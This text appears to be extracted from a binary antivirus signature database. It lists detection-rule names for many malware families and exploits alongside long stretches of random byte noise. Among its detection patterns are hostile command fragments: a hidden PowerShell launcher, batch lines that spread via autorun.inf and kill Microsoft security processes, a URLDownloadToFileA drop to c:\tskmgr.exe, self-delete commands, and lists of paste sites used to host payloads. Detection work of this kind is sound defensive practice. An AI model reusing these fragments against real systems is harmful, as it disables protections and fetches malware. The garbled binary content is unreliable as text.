!#HSTR:JAVA:Feature:C:95 !#HSTR:JAVA:Feature:C:96 !#HSTR:JAVA:Feature:M:10 !#HSTR:JAVA:Feature:M:11 !#HSTR:JAVA:Feature:M:14 !#HSTR:JAVA:Feature:M:17 !#HSTR:JAVA:Feature:M:18 !#HSTR:JAVA:Feature:M:20 !#HSTR:JAVA:Feature:M:21 !#HSTR:JAVA:Feature:M:27 !#HSTR:JAVA:Feature:M:28 !#HSTR:JAVA:Feature:M:31 !#HSTR:JAVA:Feature:M:32 !#HSTR:JAVA:Feature:M:33 !#HSTR:JAVA:Feature:M:35 !#HSTR:JAVA:Feature:M:37 !#HSTR:JAVA:Feature:M:39 !#HSTR:JAVA:Feature:M:40 !#HSTR:JAVA:Feature:M:41 !#HSTR:JAVA:Feature:M:43 !#HSTR:JAVA:Feature:M:44 !#HSTR:JAVA:Feature:M:45 !#HSTR:JAVA:Feature:M:46 !#HSTR:JAVA:Feature:M:47 !#HSTR:JAVA:Feature:M:48 !#HSTR:JAVA:Feature:M:50 !#HSTR:JAVA:Feature:M:51 !#HSTR:JAVA:Feature:M:52 !#HSTR:JAVA:Feature:M:53 !#HSTR:JAVA:Feature:M:54 !#HSTR:JAVA:Feature:M:56 !#HSTR:JAVA:Feature:M:57 !#HSTR:JAVA:Feature:M:69 !#HSTR:JAVA:Feature:M:71 !#HSTR:JAVA:Feature:M:72 !#HSTR:JAVA:Feature:M:73 !#HSTR:JAVA:Feature:M:75 !#HSTR:JAVA:Feature:M:76 !#HSTR:JAVA:Feature:M:78 !#HSTR:JAVA:Feature:M:81 !#HSTR:JAVA:Feature:M:83 !#HSTR:JAVA:Feature:M:86 !#HSTR:JAVA:Feature:M:87 !#HSTR:JAVA:Feature:M:88 !#HSTR:JAVA:Feature:M:89 !#HSTR:JAVA:Feature:M:91 !#HSTR:JAVA:Feature:M:93 !#HSTR:JAVA:Feature:M:94 !#HSTR:JAVA:Feature:M:97 !#HSTR:JAVA:Feature:M:98 !#HSTR:JAVA:Feature:M:99 !#HSTR:JAVA:Feature:C:105 !#HSTR:JAVA:Feature:C:107 !#HSTR:JAVA:Feature:C:114 !#HSTR:JAVA:Feature:C:115 !#HSTR:JAVA:Feature:C:118 !#HSTR:JAVA:Feature:C:119 !#HSTR:JAVA:Feature:C:126 !#HSTR:JAVA:Feature:C:128 !#HSTR:JAVA:Feature:C:129 !#HSTR:JAVA:Feature:C:130 !#HSTR:JAVA:Feature:C:131 !#HSTR:JAVA:Feature:C:132 !#HSTR:JAVA:Feature:C:133 !#HSTR:JAVA:Feature:C:134 !#HSTR:JAVA:Feature:C:135 !#HSTR:JAVA:Feature:C:136 !#HSTR:JAVA:Feature:C:138 !#HSTR:JAVA:Feature:C:140 !#HSTR:JAVA:Feature:C:141 !#HSTR:JAVA:Feature:C:144 !#HSTR:JAVA:Feature:C:145 !#HSTR:JAVA:Feature:C:146 !#HSTR:JAVA:Feature:C:149 !#HSTR:JAVA:Feature:C:151 !#HSTR:JAVA:Feature:C:153 !#HSTR:JAVA:Feature:C:154 !#HSTR:JAVA:Feature:C:156 !#HSTR:JAVA:Feature:C:161 !#HSTR:JAVA:Feature:C:162 !#HSTR:JAVA:Feature:C:163 !#HSTR:JAVA:Feature:C:164 !#HSTR:JAVA:Feature:C:165 !#HSTR:JAVA:Feature:C:166 !#HSTR:JAVA:Feature:C:167 !#HSTR:JAVA:Feature:C:171 !#HSTR:JAVA:Feature:C:172 !#HSTR:JAVA:Feature:C:175 !#HSTR:JAVA:Feature:C:179 !#HSTR:JAVA:Feature:C:180 !#HSTR:JAVA:Feature:C:181 !#HSTR:JAVA:Feature:C:183 !#HSTR:JAVA:Feature:C:187 !#HSTR:JAVA:Feature:C:190 !#HSTR:JAVA:Feature:C:193 !#HSTR:JAVA:Feature:C:195 !#HSTR:JAVA:Feature:C:197 !#HSTR:JAVA:Feature:C:200 !#HSTR:JAVA:Feature:C:203 !#HSTR:JAVA:Feature:C:204 !#HSTR:JAVA:Feature:C:208 !#HSTR:JAVA:Feature:C:214 !#HSTR:JAVA:Feature:C:215 !#HSTR:JAVA:Feature:C:216 !#HSTR:JAVA:Feature:C:217 !#HSTR:JAVA:Feature:C:221 !#HSTR:JAVA:Feature:C:224 !#HSTR:JAVA:Feature:C:225 !#HSTR:JAVA:Feature:C:226 !#HSTR:JAVA:Feature:C:227 !#HSTR:JAVA:Feature:C:228 !#HSTR:JAVA:Feature:C:234 !#HSTR:JAVA:Feature:C:235 !#HSTR:JAVA:Feature:C:236 !#HSTR:JAVA:Feature:C:237 !#HSTR:JAVA:Feature:C:239 !#HSTR:JAVA:Feature:C:240 !#HSTR:JAVA:Feature:C:241 !#HSTR:JAVA:Feature:C:242 !#HSTR:JAVA:Feature:C:244 !#HSTR:JAVA:Feature:C:245 !#HSTR:JAVA:Feature:C:247 !#HSTR:JAVA:Feature:C:248 !#HSTR:JAVA:Feature:C:251 !#HSTR:JAVA:Feature:C:252 !#HSTR:JAVA:Feature:C:256 !#HSTR:JAVA:Feature:C:257 !#HSTR:JAVA:Feature:C:258 !#HSTR:JAVA:Feature:C:259 !#HSTR:JAVA:Feature:C:262 !#HSTR:JAVA:Feature:C:263 !#HSTR:JAVA:Feature:C:266 !#HSTR:JAVA:Feature:C:268 !#HSTR:JAVA:Feature:C:269 !#HSTR:JAVA:Feature:C:274 !#HSTR:JAVA:Feature:C:276 !#HSTR:JAVA:Feature:C:279 !#HSTR:JAVA:Feature:C:283 !#HSTR:JAVA:Feature:C:284 !#HSTR:JAVA:Feature:C:285 !#HSTR:JAVA:Feature:C:286 !#HSTR:JAVA:Feature:C:289 !#HSTR:JAVA:Feature:C:291 !#HSTR:JAVA:Feature:C:293 !#HSTR:JAVA:Feature:C:295 !#HSTR:JAVA:Feature:C:296 !#HSTR:JAVA:Feature:C:297 !#HSTR:JAVA:Feature:C:301 !#HSTR:JAVA:Feature:C:303 !#HSTR:JAVA:Feature:C:305 !#HSTR:JAVA:Feature:C:306 !#HSTR:JAVA:Feature:C:307 !#HSTR:JAVA:Feature:C:309 !#HSTR:JAVA:Feature:C:310 !#HSTR:JAVA:Feature:C:312 !#HSTR:JAVA:Feature:C:316 !#HSTR:JAVA:Feature:C:319 !#HSTR:JAVA:Feature:C:329 !#HSTR:JAVA:Feature:C:330 !#HSTR:JAVA:Feature:C:331 !#HSTR:JAVA:Feature:C:334 !#HSTR:JAVA:Feature:C:335 !#HSTR:JAVA:Feature:C:337 !#HSTR:JAVA:Feature:C:338 !#HSTR:JAVA:Feature:C:340 !#HSTR:JAVA:Feature:C:342 !#HSTR:JAVA:Feature:C:345 !#HSTR:JAVA:Feature:C:351 !#HSTR:JAVA:Feature:C:354 !#HSTR:JAVA:Feature:C:356 !#HSTR:JAVA:Feature:C:360 !#HSTR:JAVA:Feature:C:361 !#HSTR:JAVA:Feature:C:362 !#HSTR:JAVA:Feature:C:366 !#HSTR:JAVA:Feature:C:367 !#HSTR:JAVA:Feature:C:369 !#HSTR:JAVA:Feature:C:370 !#HSTR:JAVA:Feature:C:373 !#HSTR:JAVA:Feature:C:375 !#HSTR:JAVA:Feature:C:376 !#HSTR:JAVA:Feature:C:378 !#HSTR:JAVA:Feature:C:379 !#HSTR:JAVA:Feature:C:380 !#HSTR:JAVA:Feature:C:386 !#HSTR:JAVA:Feature:C:388 !#HSTR:JAVA:Feature:C:389 !#HSTR:JAVA:Feature:C:390 !#HSTR:JAVA:Feature:C:392 !#HSTR:JAVA:Feature:C:395 !#HSTR:JAVA:Feature:C:396 !#HSTR:JAVA:Feature:C:397 !#HSTR:JAVA:Feature:C:398 !#HSTR:JAVA:Feature:C:400 !#HSTR:JAVA:Feature:C:401 !#HSTR:JAVA:Feature:C:404 !#HSTR:JAVA:Feature:C:407 !#HSTR:JAVA:Feature:C:409 !#HSTR:JAVA:Feature:C:410 !#HSTR:JAVA:Feature:C:416 !#HSTR:JAVA:Feature:C:418 !#HSTR:JAVA:Feature:C:419 !#HSTR:JAVA:Feature:C:421 !#HSTR:JAVA:Feature:C:426 !#HSTR:JAVA:Feature:C:427 !#HSTR:JAVA:Feature:C:429 !#HSTR:JAVA:Feature:C:434 !#HSTR:JAVA:Feature:C:435 !#HSTR:JAVA:Feature:C:437 !#HSTR:JAVA:Feature:C:438 !#HSTR:JAVA:Feature:C:443 !#HSTR:JAVA:Feature:C:444 !#HSTR:JAVA:Feature:C:446 !#HSTR:JAVA:Feature:C:447 !#HSTR:JAVA:Feature:C:452 !#HSTR:JAVA:Feature:C:457 !#HSTR:JAVA:Feature:C:459 !#HSTR:JAVA:Feature:C:463 !#HSTR:JAVA:Feature:C:465 !#HSTR:JAVA:Feature:C:466 !#HSTR:JAVA:Feature:C:469 !#HSTR:JAVA:Feature:C:470 !#HSTR:JAVA:Feature:C:471 !#HSTR:JAVA:Feature:C:473 !#HSTR:JAVA:Feature:C:477 !#HSTR:JAVA:Feature:C:478 !#HSTR:JAVA:Feature:C:480 !#HSTR:JAVA:Feature:C:481 !#HSTR:JAVA:Feature:C:482 !#HSTR:JAVA:Feature:C:483 !#HSTR:JAVA:Feature:C:484 !#HSTR:JAVA:Feature:C:489 !#HSTR:JAVA:Feature:C:490 !#HSTR:JAVA:Feature:C:491 !#HSTR:JAVA:Feature:C:492 !#HSTR:JAVA:Feature:C:493 !#HSTR:JAVA:Feature:C:498 !#HSTR:JAVA:Feature:C:500 !#HSTR:JAVA:Feature:C:502 !#HSTR:JAVA:Feature:C:503 !#HSTR:JAVA:Feature:C:504 !#HSTR:JAVA:Feature:C:509 !#HSTR:JAVA:Feature:C:510 !#HSTR:JAVA:Feature:C:512 !#HSTR:JAVA:Feature:C:513 !#HSTR:JAVA:Feature:C:517 !#HSTR:JAVA:Feature:C:518 !#HSTR:JAVA:Feature:C:519 !#HSTR:JAVA:Feature:C:520 !#HSTR:JAVA:Feature:C:526 !#HSTR:JAVA:Feature:C:529 !#HSTR:JAVA:Feature:C:530 !#HSTR:JAVA:Feature:C:531 !#HSTR:JAVA:Feature:C:537 !#HSTR:JAVA:Feature:C:538 !#HSTR:JAVA:Feature:C:539 !#HSTR:JAVA:Feature:C:540 !#HSTR:JAVA:Feature:C:544 !#HSTR:JAVA:Feature:C:545 !#HSTR:JAVA:Feature:C:546 !#HSTR:JAVA:Feature:C:548 !#HSTR:JAVA:Feature:C:549 !#HSTR:JAVA:Feature:C:551 !#HSTR:JAVA:Feature:C:556 !#HSTR:JAVA:Feature:C:559 !#HSTR:JAVA:Feature:C:560 !#HSTR:JAVA:Feature:C:562 !#HSTR:JAVA:Feature:C:564 !#HSTR:JAVA:Feature:C:568 !#HSTR:JAVA:Feature:C:569 !#HSTR:JAVA:Feature:C:570 !#HSTR:JAVA:Feature:C:573 !#HSTR:JAVA:Feature:C:575 !#HSTR:JAVA:Feature:C:576 !#HSTR:JAVA:Feature:C:577 !#HSTR:JAVA:Feature:C:581 !#HSTR:JAVA:Feature:C:582 !#HSTR:JAVA:Feature:C:587 !#HSTR:JAVA:Feature:C:588 !#HSTR:JAVA:Feature:C:592 !#HSTR:JAVA:Feature:C:593 !#HSTR:JAVA:Feature:C:598 !#HSTR:JAVA:Feature:C:601 !#HSTR:JAVA:Feature:C:603 !#HSTR:JAVA:Feature:C:607 !#HSTR:JAVA:Feature:C:612 !#HSTR:JAVA:Feature:C:613 !#HSTR:JAVA:Feature:C:614 !#HSTR:JAVA:Feature:C:618 !#HSTR:JAVA:Feature:C:624 !#HSTR:JAVA:Feature:C:625 !#HSTR:JAVA:Feature:C:628 !#HSTR:JAVA:Feature:C:633 !#HSTR:JAVA:Feature:C:634 !#HSTR:JAVA:Feature:C:635 !#HSTR:JAVA:Feature:C:636 !#HSTR:JAVA:Feature:C:639 !#HSTR:JAVA:Feature:C:642 !#HSTR:JAVA:Feature:C:643 !#HSTR:JAVA:Feature:C:644 !#HSTR:JAVA:Feature:C:646 !#HSTR:JAVA:Feature:C:648 !#HSTR:JAVA:Feature:C:649 !#HSTR:JAVA:Feature:C:651 !#HSTR:JAVA:Feature:C:654 !#HSTR:JAVA:Feature:C:655 !#HSTR:JAVA:Feature:C:656 !#HSTR:JAVA:Feature:C:657 !#HSTR:JAVA:Feature:C:658 !#HSTR:JAVA:Feature:C:664 !#HSTR:JAVA:Feature:C:665 !#HSTR:JAVA:Feature:C:666 !#HSTR:JAVA:Feature:C:667 !#HSTR:JAVA:Feature:C:669 !#HSTR:JAVA:Feature:C:671 !#HSTR:JAVA:Feature:C:672 !#HSTR:JAVA:Feature:C:673 !#HSTR:JAVA:Feature:C:677 !#HSTR:JAVA:Feature:C:687 !#HSTR:JAVA:Feature:C:689 !#HSTR:JAVA:Feature:C:691 !#HSTR:JAVA:Feature:C:692 !#HSTR:JAVA:Feature:C:693 !#HSTR:JAVA:Feature:C:694 !#HSTR:JAVA:Feature:C:696 !#HSTR:JAVA:Feature:M:100 !#HSTR:JAVA:Feature:M:101 !#HSTR:JAVA:Feature:M:102 !#HSTR:JAVA:Feature:M:103 !#HSTR:JAVA:Feature:M:104 !#HSTR:JAVA:Feature:M:106 !#HSTR:JAVA:Feature:M:108 !#HSTR:JAVA:Feature:M:109 !#HSTR:JAVA:Feature:M:110 !#HSTR:JAVA:Feature:M:111 !#HSTR:JAVA:Feature:M:112 !#HSTR:JAVA:Feature:M:113 !#HSTR:JAVA:Feature:M:116 !#HSTR:JAVA:Feature:M:117 !#HSTR:JAVA:Feature:M:120 !#HSTR:JAVA:Feature:M:121 !#HSTR:JAVA:Feature:M:122 !#HSTR:JAVA:Feature:M:123 !#HSTR:JAVA:Feature:M:124 !#HSTR:JAVA:Feature:M:125 !#HSTR:JAVA:Feature:M:127 !#HSTR:JAVA:Feature:M:137 !#HSTR:JAVA:Fea ^ia-a/-  T]/3 y45D<[ 8 A_' +'E0-N\"  Lu-Z ig!b}g cP-W) UPuXW & z?t+a` \"Lj9N 7<\"Cl3I 6us 3r ={^\\6i |zXqcF #1PlYgl `pg[A \"z87< 1(PZVN U8[[aZs  iV(S #&:=9 b-d%Y ]Mb/lh to)>T WB09F O!as7 q(.c> Sm8,@ =mTXci6 !'A ]QA d{q$2> ' ;)\" a&TnV QT,IF$c Rxh=$ sfice \"Zs[': sS@%k LGM@C q0Db  t_<~a k~X\th wcM . vV^di@d FI_9J$ elQ6f< kV-7+ GI//lC J-+T6 e}jMDZ[ P: CK oUSeT H(RF^YT@ pfaN0 I_=%i w7<3V q$}et[ Yk$-[\tvLQ O,b-H $+MbQy&f sf4N1up ~j*4i= QXDu64W n!N.ITX rJ~5{dS xdH-\td vF Seb @+<-# Ma93B Dv\\u| O~yt: RF}*6a L}SXR9/ u3g&g Pogg& Pogg&g lLEg& lLEg&g uOg&g `!Ll# `!Ll#g ?5g&g }p0g& }p0g&g DLaHg A?g&g CN\\)O CN\\)Og S!g&g <;g&g 8S@eg 94)_g @OaZg gb)fg qO\\g& qO\\g&g m~x7g 6 g&g 8cDg& 8cDg&g V1l#g K+g&g 2)g&g r/)6g _=wa< _=wa<g u|g&g *[xpg fleck/ \"W\"+\"S\"+  \"W\"+\"S\"+ , \"http\" +   , \"http\" +  !#SCPT:JS/Obfuscator.Radix36.D 2j0y2r2w2p361v332s2t1t380y2l =\"c\", !#SCPT:JS/Obfuscator.CharCode.A [\"charCodeAt\"] /) & 0xff]; G\"!#SCPT:JS/Obfuscator.LongVarName.B function  G\"!#SCRIPT:Java/AdwindOddClassName.D _DecryptServer.classPK #!#SCPT:JS/Obfuscator.Capslock.var.A G#!#SCPT:JS/Obfuscator.Capslock.var.A var A 0-9A-Z; var B var C G#!#SCPT:JS/Obfuscator.Split.concat.A \"c\"+\"o $!#SCPT:JS/Obfuscator.Spaced.Format.A G$!#SCPT:JS/Obfuscator.Spaced.Format.A ) ;    }   }   catch ( G$!#SCPT:JS/Obfuscator.Split.getYear.A getY\"+\"e (!#SCPT:JS/Obfuscator.functions.asindex.A G(!#SCPT:JS/Obfuscator.functions.asindex.A 0-9a-z()); (!#SCPT:JS/Obfuscator.functions.asindex.C G(!#SCPT:JS/Obfuscator.functions.asindex.C \"][1][ 0-9]](); \"][2][ \"][3][ \"][4][ \"][5][ \"][6][ \"][7][ \"][8][ \"][9][ )!#TrojanDownloader:PowerShell/Ploprolo.K3 G)!#TrojanDownloader:PowerShell/Ploprolo.K3 //:ptth'; G*!#SCPT:Win32/Obfuscator.BASE64.ShellCode.A ///WaACAAABT/3UI /9ZoAIAAAFP/dQj/ G,!#SCPT:JS/Obfuscator.Split.InnerAssignment.A +='Script ] = ' if( ] = '.Run ] = 'Run( ] = '}; } /!#SCRIPT:Exploit:SWF/NeutrinoEK.C.ClassMainName G/!#SCRIPT:Exploit:SWF/NeutrinoEK.C.ClassMainName  KCS___Main   0!#SCPT:JS/Obfuscator.BASE64EncScript.iCipherBy.A G0!#SCPT:JS/Obfuscator.BASE64EncScript.iCipherBy.A aXBoZXJCeQ ,MainSection 6AAAAABZSYnISIHBUwQAALpFd2IwSYHA \"6AAAAABZSYnISIHBUwQAALpFd2IwSYHA !#SCPT:VBS/SleepUntilLoop.A  WScript.Sleep( \" )  Loop Until  'Ac' +  !'Ac' +  ('iv' !#SCPT:JS/Obfuscator.Substr.A { return this.substr(0, 1); };  { return this.substr(0, 1); }; powershell -nop -w hidden -c !#Exploit:O97M/DDEDownloader.E1 \\'44\\'44\\'45\\'41\\'55\\'54\\'4f _e_-_-_-- @freerunner @freerunner@  !#SCPT:Trojan:Python/Queri.D.EC1 H !#SCPT:Trojan:Python/Queri.D.EC1 #!#SCPT:JS/Obfuscator.Capslock.var.B H#!#SCPT:JS/Obfuscator.Capslock.var.B 0-9A-Z +  H#!#SCPT:JS/Obfuscator.Split.length.A \"len\") H$!#SCPT:JS/Obfuscator.Split.replace.A re\"+\"p H&!#BRUTE:Exploit:Python/CVE-2017-0143.7 SESSION_SECCTX_OFFSET *!#SCPT:VBS/Obfuscator.ChrArrayBASE64Like.A H*!#SCPT:VBS/Obfuscator.ChrArrayBASE64Like.A +chr(61)+chr(61)) H,!#SCPT:JS/Obfuscator.Split.InnerAssignment.A +='WScript ] = ' catc ] = '} cat H-!#SCPT:JS/Obfuscator.Redundancy.EmptyQuotes.C ['' + (' .!#SCPT:PossiblyClean:Andy_Ful.LegalCopyright.A H.!#SCPT:PossiblyClean:Andy_Ful.LegalCopyright.A *  Andy Ful , /!#SCRIPT:Exploit:SWF/NeutrinoEK.C.ClassDataName H/!#SCRIPT:Exploit:SWF/NeutrinoEK.C.ClassDataName _el_-___--_ !#SCPT:BelmontHE ERROR: Cannot initialize some internal data. .ERROR: Cannot initialize some internal data. DO NOT ALTER ANYTHING BELOW THIS LINE ! )DO NOT ALTER ANYTHING BELOW THIS LINE ! !#SCPT:PDF/PDFPhishURI.A /po/index.php) &/po/index.php) ar _0x $ar _0x !#ALFPER:PWS:HTML/LotusBlue.A >Welcome to Lotus-Blue Toolkit< !>Welcome to Lotus-Blue Toolkit< !\"GE\" +  , \"http:/\" +   , \"http:/\" +  !#SCPT:JS/Obfuscator.Radix36.F 1t2r382x3a2t2g272q2y2t2r38140y  1t2r382x3a2t2g272q2y2t2r38140y could not find regexp address.  could not find regexp address. 5E3C5E 51555E !#SCPT:JS/Redundancy.Comments.B );}  /*  !#Exploit:Win32/CVE-2015-0097.A3 I !#Exploit:Win32/CVE-2015-0097.A3 <script language=javascript> I!!#SCPT:JS/Obfuscator.Juxtaposed.B I!!#SCPT:Java/DOSReservedDevNames.A main/???????????nUL.classPK I!!#SCPT:Java/DOSReservedDevNames.B main/???????????aUX.classPK I!!#SCPT:Java/DOSReservedDevNames.C main/???????????CON.classPK I#!#SCPT:JS/Obfuscator.Split.concat.A 'co'+\"n #!#SLFPER:Exploit:HTML/Belmont.M!dha I#!#SLFPER:Exploit:HTML/Belmont.M!dha <script src=\"/sbxjs?main\" $!#SCPT:JS/Obfuscator.Split.hex.var.A I$!#SCPT:JS/Obfuscator.Split.hex.var.A $!#SCPT:SWF/ObfuscatorLikesecureSWF.A I$!#SCPT:SWF/ObfuscatorLikesecureSWF.A 521423132326123423632234 I,!#SCPT:JS/Obfuscator.Split.InnerAssignment.A +='\"WScript .!#SCPT:JS/Obfuscator.Enc.Xorbyte.hex.ActiveX.A I.!#SCPT:JS/Obfuscator.Enc.Xorbyte.hex.ActiveX.A 00223528372419 01233429362518 0220372a35261b 0321362b34271a 0426312c33201d 0527302d32211c 0624332e31221f 0725322f30231e 082a3d203f2c11 092b3c213e2d10 0a283f223d2e13 0b293e233c2f12 0c2e39243b2815 0d2f38253a2914 0e2c3b26392a17 0f2d3a27382b16 10322538273409 11332439263508 1230273a25360b 1331263b24370a 1436213c23300d 1537203d22310c 1634233e21320f 1735223f20330e 183a2d302f3c01 193b2c312e3d00 1a382f322d3e03 1b392e332c3f02 1c3e29342b3805 1d3f28352a3904 1e3c2b36293a07 1f3d2a37283b06 20021508170439 21031409160538 2200170a15063b 2301160b14073a 2406110c13003d 2507100d12013c 2604130e11023f 2705120f10033e 280a1d001f0c31 290b1c011e0d30 2a081f021d0e33 2b091e031c0f32 2c0e19041b0835 2d0f18051a0934 2e0c1b06190a37 2f0d1a07180b36 30120518071429 31130419061528 3210071a05162b 3311061b04172a 3416011c03102d 3517001d02112c 3614031e01122f 3715021f00132e 381a0d100f1c21 391b0c110e1d20 3a180f120d1e23 3b190e130c1f22 3c1e09140b1825 3d1f08150a1924 3e1c0b16091a27 3f1d0a17081b26 40627568776459 4260776a75665b 4361766b74675a 4466716c73605d 4567706d72615c 4664736e71625f 4765726f70635e 486a7d607f6c51 496b7c617e6d50 4a687f627d6e53 4b697e637c6f52 4c6e79647b6855 4d6f78657a6954 4e6c7b66796a57 4f6d7a67786b56 50726578677449 51736479667548 5270677a65764b 5371667b64774a 5476617c63704d 5577607d62714c 5674637e61724f 5775627f60734e 587a6d706f7c41 597b6c716e7d40 5a786f726d7e43 5b796e736c7f42 5c7e69746b7845 5d7f68756a7944 5e7c6b76697a47 5f7d6a77687b46 60425548574479 61435449564578 6240574a55467b 6341564b54477a 6446514c53407d 6547504d52417c 6644534e51427f 6745524f50437e 684a5d405f4c71 694b5c415e4d70 6a485f425d4e73 6b495e435c4f72 6c4e59445b4875 6d4f58455a4974 6e4c5b46594a77 6f4d5a47584b76 70524558475469 71534459465568 7250475a45566b 7351465b44576a 7456415c43506d 7557405d42516c 7654435e41526f 7755425f40536e 785a4d504f5c61 795b4c514e5d60 7a584f524d5e63 7b594e534c5f62 7c5e49544b5865 7d5f48554a5964 7e5c4b56495a67 7f5d4a57485b66 I0!#SCPT:JS/Obfuscator.BASE64EncScript.iCipherBy.A aUNpcGhlckJ5 !#BRUTE:JarFileObfuscated.A Obfuscation by Allatori Obfuscator $Obfuscation by Allatori Obfuscator !#Exploit:SWF/Korpode.A.frag2 DRMOperationCompleteListener \"DRMOperationCompleteListener !#SCPT:Backdoor:Win32/Plugx_L !#SCPT:HTML/Phish.ElementId.A .getElementById(\"homescreen147\") \".getElementById(\"homescreen147\") = [   \"= [    ',   + \"E\" +  \"+ \"E\" +   !#SCPT:JS/Obfuscator.LongName J !#SCPT:JS/Obfuscator.LongName g V5c E= AP c(mUOC [N>[:m y UBr 5y&'; @v)9FwZ e*O[. Q[PE& s )p) K1@rI 08PLd :Qj_rk DKqrc 0b[NXy <0eG% 7WZ]bT AtSbA !|)kI 7[f8&e _h>= u uC lpK|l QN/%L~ [\"V_b1 \\6/pt A@6?g i:Nl, oX'UGY zXO@Q XS,KOv \"?f^j o$&uz= z}Gj`M y3| hT Ik3qA 8?7~6 mC;ec D}~{Z *9Ecw M'$`P! bO< W1L| \"`k(& e$('\t cL=6 8DQ<s %?2 {& 6H'p@ 8@`U5 m$hu2z \"FH R 6\t@vR} MMC|U w. r%,Gc )J@}= :Tojd _$\t/~ +6;'*) ygWa. .1Uv< y2uX;V \"P ml* j{jhfd ZV[PA P4 !\"'[  ytR# s\"Rsh3> l9KWo% dda/]Z mb-nIT ur^RpmT TVm=5 ?IN2I *e+*y  BXINy @ JpB \"+tSIl FHdt4 'BqBc \"W9o2 QAvpH TLm+Qt ~2WkFO p>j'2 ]H+e5 (UMZ~ Sy'9C /ML9 PiS\\H F01R /OiFu  <T\tk dnxF1 gNF%r( N&'H~ ymrV, {>dEj`0 1Lji\t W\"QBp bk3D h RXMYo a@I)| r6@c, e=3(O |]B1y:A_^3* f00''K 2.+}Y ]`_&B R!]f/ 6Y/B\" 3n_`{ nT0fE rB F \tRyf+K y(KKr a+6D 3R  l0y u|rs9I \"Z@'rK( A;|9> ^V4NY :9\"R, q|2?% <v%R;H qzgQi+ T8a4h; &<-*u{ 8lPux y/w[7 !Agent.S !Agent.VZ !Bagle.MK !Bagle.ML !Bagle.MM !Bagle.MN  d]VT] 5Bagle.MO 5Bagle.MP !Tibser.N !Agent.ABT !Lager.AD !Small.YN !Agent.ABU !Ldpinch.TX WX6{I! !Small.YU !Small.SA !Goldun.BO !Goldun.EP !Small.SX 5Bagle.MQ !Bagle.MR 5Bagle.MR 5Bagle.MS !Bagle.MS 5Bagle.MT 5Bagle.MU !Small.SW !Harnig.BN !Harnig.BO !Harnig.BP !Harnig.BQ !Harnig.BR !Small.SU !Small.SV !Tibs.E !Harnig.BS !Harnig.BT !Small.AGS !Agent.DS !Agent.DT 5Agent.DU 5Agent.DW !Harnig.BU !Harnig.BW !Harnig.BV !Lowzones.GO !Agent.WA !Agent.WB !Ldpinch.TY !Agent.WC !Agent.WD !WinShow.gen!A !WinShow.gen!B !WinShow.gen!C !WinShow.gen!D !WinShow.gen!E !Small.XD !Agent.FE !WinShow.gen!F !WinShow.gen!G Killav for%%xin( Hfor%%xin( docopy/yautorun.inf%%x:autorun.inf kill/f/imnod32kui.exe taskkill/immsseces.exe/ftaskkill/immsseoobe.exe/ftaskkill/imconfigsecuritypolicy.exe/ftaskkill/immpcmdrun.exe/ftaskkill/immsmpeng.exe/ftaskkill/imnissrv.exe/fexit 3g&~e !Agent.WE !Agent.DU !Goldun.EQ !Agent.WG !Adload.S !Conhook.A o NSZ w.`U< @S>w6e SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellExecuteHooks\\\\{20d57a66-f7df-467d-907b-9b7f4a118ab7} lSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellExecuteHooks\\\\{20d57a66-f7df-467d-907b-9b7f4a118ab7}cr SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellExecuteHooks\\\\{ea32fb3b-21c9-42cc-b8ef-01a9b28edb0d} lSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellExecuteHooks\\\\{ea32fb3b-21c9-42cc-b8ef-01a9b28edb0d}] !Goldun.M !Small.EQ !Goldun.O !Goldun.P !Goldun.ER !Ldpinch.TZ QJQ p !Agent.WH !Adload.T !Goldun.ES !Agent.EP !Agent.ER !Agent.ES !Agent.WI !Small.gen!A !Small.gen!B SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\shel 3SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\shelklop c:\\tskmgr.exe +urlmon.dllURLDownloadToFileAc:\\tskmgr.exe /2.exe  !Small.gen!C !Adload.U !Adload.V !Adload.W !Adload.X +<1%X !Adload.Y !Adload.Z !Adload.AA !Adload.AB !Adload.AC !Adload.AD !Adload.AE !Adload.AG !Adload.AH !Adload.AI !Agent.IN  eM0z !Adload.AF !Adload.AJ !Agent.IO !Renos.C 1Zlob !Zlob.gen!dll L$(QP !Harnig.gen!rpf !Adload.AK !Adload.AL !&VFo 1Ranky shed  Proxy-agen YSSSSSSSj VVVVVVVj /a.php? HTTP/1.0 200 Connection established #HTTP/1.0 200 Connection established registerserviceprocess Proxy-agent: %d.%d.%d.%d AutoUpdateMgr  /b.php? %s:*:Enabled:% %s:*:Enabled:%] +Zlob Killav.ET !Bagle.NA !Bagle.MV !Bagle.MW !Bagle.MX !Bagle.MY !Bagle.MZ !Agent.WJ !Agent.BN !Agent.BO !Lager.AE F:JASYP:TrojanDownloader:Win32/Upatre!atmn !#JASYP:Backdoor:Win32/Hupigon!atmn 0 c:\\temp\\ixp .tmp\\tmp $.tmp !#ALF:JASYP:Backdoor:Win32/IRCbot!atmn 0Y}8m export hkey_local_machine\\system\\controlset \\services\\srservice c:\\windows\\ trickler t:3f d9 s:51bf !#ALF:JASYP:Rogue:Win32/Winwebsec!atmn /c taskkill /f /pid   & ping -n 3  .1 & del /f /q \"c:\\myapp.exe\" & start c:\\documents and settings\\johndoe\\local settings\\application data\\ !#NRI:WebServiceShareBins.A upaste.me paste.ee pastecode.xyz heypasteit ghostbin.co privatebin. skidbin. githack. %c:\\program files\\java\\jre \\bin\\uf !#ALF:JASYP:PUA:Win32/InstallIQ!atmnm c:\\temp\\pkg cd3e50\\ cd3e50 \"c:\\myapp.exe\" /wrapper /dir=\"c:\\temp\\pkg 044\"c:\\myapp.exe\" /wrapper /dir=\"c:\\temp\\pkg cd3e51 \"c:\\myapp.exe\"\" /wrapper /dir=\"c:\\temp\\pkg cd3e5 !#ALF:JASYP:Trojan:Win32/Ramnit!atmn  o@a& E0 o@a& E0 fj 0 .temp !#ALF:Trojan:Win32/BATtoEXEAdvancedConverter p\"'61  0=2$ c:\\windows\\system32\\cmd.exe /c if exist  .c:\\windows\\system32\\cmd.exe /c if exist  \\temp\\ytmp\\tmp .bat\" del  .exe\" del  c:\\temp\\ytmp\\tmp !#ALF:TrojanDownloader:MSIL/Ursu.SIBA!MTB r`;https://cdn.discordapp.com/attachments/ 0/svchost !#ALF:JASYP:Trojan:Win32/Ymacco!atmn .tmp\" --pingc:\\temp\\ 